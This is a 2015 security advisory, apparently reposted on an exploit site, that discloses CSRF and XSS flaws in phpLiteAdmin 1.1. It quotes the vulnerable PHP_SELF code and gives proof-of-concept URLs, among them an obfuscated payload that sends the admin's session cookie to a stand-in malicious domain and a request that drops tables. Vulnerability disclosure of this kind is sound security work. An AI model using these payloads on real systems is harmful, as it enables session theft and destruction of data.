Home / exploits phpLiteAdmin 1.1 Cross Site Request Forgery / Cross Site Scripting
Posted on 08 July 2015
[+] Credits: John Page ( hyp3rlinx ) [+] Domains: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/AS-PHPLITEADMIN0705.txt Vendor: ================================ bitbucket.org/phpliteadmin Product: ================================ phpLiteAdmin v1.1 Advisory Information: ================================================ CSRF & XSS Vulnerabilities Vulnerability Details: ====================== CSRF: ------ No CSRF token exists when making calls to various SQL operations therefore we can get user to drop the whole database tables if they click on our malicious link and table is known. XSS: ------ There are three XSS vulnerabilities I point out first is use of 'PHP_SELF', second is unsanitized parameter for SQL statement when calling drop table method e.g. ' http://localhost/phpliteadmin.php?droptable=[XSS]' and third is an unsanitized 'table' parameter e.g. ' http://localhost/phpliteadmin_v1-1/phpliteadmin.php?table=[XSS]' Lets look at the first one more in depth as its more fun. phpliteadmin uses a PHP reserved server variable $_SERVER['PHP_SELF'] which is vulnerable if not used correctly allowing us to inject an XSS payload to steal session cookies and navigate them to a place of our choosing in order to cause mayhem. On line 32 of 'phpliteadmin.php' we find vulnerable code: -------------------------------------------------------- //build the basename of this file $nameArr = explode("?", $_SERVER['PHP_SELF']); $thisName = $nameArr[0]; $nameArr = explode("/", $thisName); $thisName = $nameArr[sizeof($nameArr)-1]; //constants define("VERSION", "1.1"); define("PAGE", $thisName); ------------------------------------------------------- In PHP docs we find the following explanation of 'PHP_SELF': "The filename of the currently executing script, relative to the document root." ref: http://php.net/manual/en/reserved.variables.server.php It is known $_SERVER['PHP_SELF'] can make your application insecure as we can inject code following a forward slash "/" But we have slight problem to overcome, we can execute code but our forward slashes will not be processed correctly and exploit will FAIL! leaving us with the following useless URL instead of taking the victim to a domain of our choice. Fail exploit example: http://localhost/phpliteadmin_v1-1/phpliteadmin.php/ "'onMouseOver="window.open('http://hyp3rlinx.altervista.org')" Failed Result: http://localhost/phpliteadmin_v1-1/phpliteadmin.php/hyp3rlinx.altervista.org But all is NOT lost!, we will construct our malicious URL forward slashes in our JS call to window.open() method using String.charCodeAt(58) for ':' and String.charCodeAt(47) for '/' which will NOW give us what we seek, control over the users browser taking them to some terrible dark place. Bypass $_SERVER['PHP_SELF'] forward slash '//' processing issue: Tada!, our successful XSS exploit: http://localhost/phpliteadmin_v1-1/phpliteadmin.php/"'onMouseOver="(function(){var x='http';x+=String.fromCharCode(58)+String.fromCharCode(47)+String.fromCharCode(47)+' hyp3rlinx.altervista.org';window.open(x);})()" Exploit code(s): =============== XSS(s) POC: ---------- 1- $_SERVER['PHP_SELF'] XSS exploit steals current admin session cookie and sends to remote server: http://localhost/phpliteadmin_v1-1/phpliteadmin.php/"'onMouseOver="(function(){var x='http';x+=String.fromCharCode(58)+String.fromCharCode(47)+String.fromCharCode(47)+'MALICIOUS-DOMAIN';window.open(x+String.fromCharCode(47)+'cookietheft.php'+String.fromCharCode(63)+'='+document.cookie);})()" 2- SQL droptable XSS: http://localhost/sectest/phpliteadmin_v1-1/phpliteadmin.php?droptable= <script>alert(666)</script> 3- SQL table XSS: http://localhost/phpliteadmin_v1-1/phpliteadmin.php?table= "/><script>alert(666)</script> CSRF POC: --------- Drop tables: localhost/phpliteadmin_v1-1/phpliteadmin.php?droptable=mytable&confirm=1 Disclosure Timeline: ========================================================= Vendor Notification: NA July 5, 2015 : Public Disclosure Severity Level: ========================================================= Med Description: ========================================================== Request Method(s): [+] GET Vulnerable Product: [+] phpliteadmin_v1-1 Vulnerable Parameter(s): [+] $_SERVER['PHP_SELF'], droptable, table Affected Area(s): [+] Admin =========================================================== [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. (hyp3rlinx)
